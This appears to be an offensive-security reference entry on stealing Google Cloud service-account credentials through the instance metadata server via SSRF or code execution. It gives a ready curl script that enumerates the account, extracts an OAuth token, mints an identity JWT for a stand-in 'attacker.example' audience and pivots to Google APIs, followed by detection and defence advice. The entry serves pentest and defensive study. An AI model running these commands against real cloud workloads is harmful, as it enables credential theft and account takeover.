GCP metadata token theft
TL;DR:
metadata.google.internalhands out OAuth access tokens and signed identity JWTs for the attached service account — any SSRF that can injectMetadata-Flavor: Google(or any code-exec on the host) drains them.
What it is
Every GCE VM, GKE node, Cloud Run revision, Cloud Functions instance, and App Engine app exposes a metadata server at metadata.google.internal (also reachable as 169.254.169.254). It returns the project ID, instance attributes, and — most importantly — an OAuth2 access token for the instance’s default (or user-attached) service account, plus a Google-signed identity JWT for OIDC federation. The only header gate is Metadata-Flavor: Google, intended to defeat trivial SSRF from clients that cannot set arbitrary headers; once you can set it, the endpoint is unauthenticated.
Preconditions / where it applies
- Code execution or header-capable SSRF inside a GCP workload with a service account attached.
- The service account holds non-trivial IAM bindings (default Compute SA historically had
Editoron the project — still common in legacy projects). - For GKE: Workload Identity may redirect token requests through
gke-metadata-server, which enforces the KSA→GSA binding; without it, every pod inherits the node SA.
Technique
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
H='Metadata-Flavor: Google'
BASE=http://metadata.google.internal/computeMetadata/v1
# Enumerate
curl -sH "$H" $BASE/project/project-id
curl -sH "$H" $BASE/instance/service-accounts/default/email
curl -sH "$H" $BASE/instance/service-accounts/default/scopes
# Steal an OAuth access token
TOK=$(curl -sH "$H" $BASE/instance/service-accounts/default/token | jq -r .access_token)
# Steal an OIDC identity JWT for federation to a third-party
curl -sH "$H" "$BASE/instance/service-accounts/default/identity?audience=https://attacker.example/oidc&format=full"
# Pivot — call any Google API the SA is allowed to hit
curl -sH "Authorization: Bearer $TOK" \
https://cloudresourcemanager.googleapis.com/v1/projects
gcloud auth login --cred-file <(printf '{"access_token":"%s"}' "$TOK") 2>/dev/null
The v1beta1 path that allowed header-less retrieval was retired in 2020; modern SSRF must control headers (CRLF injection, template-engine header smuggling, or proxies that let the client set them).
Detection and defence
- Enable Workload Identity on GKE and set node metadata mode to
GKE_METADATAso the legacy endpoint is unreachable from pods. - Avoid the default Compute Engine SA on new workloads; use a per-workload SA with least privilege and
--no-scopeswhere possible. - Cloud Audit Logs (Data Access + Admin Activity): alert on access-token mints followed by anomalous high-priv API calls from a new caller IP.
- Block egress to attacker-controlled OIDC audiences via VPC Service Controls where federation is not expected.
References
- GCP — Storing and retrieving instance metadata — endpoint reference and header requirement.
- GCP — Workload Identity — KSA→GSA binding model.
See also: gcp-metadata-server, gcp-service-account-enum, gcp-iam-misconfig, aws-imds-ssrf-pivot, ssrf.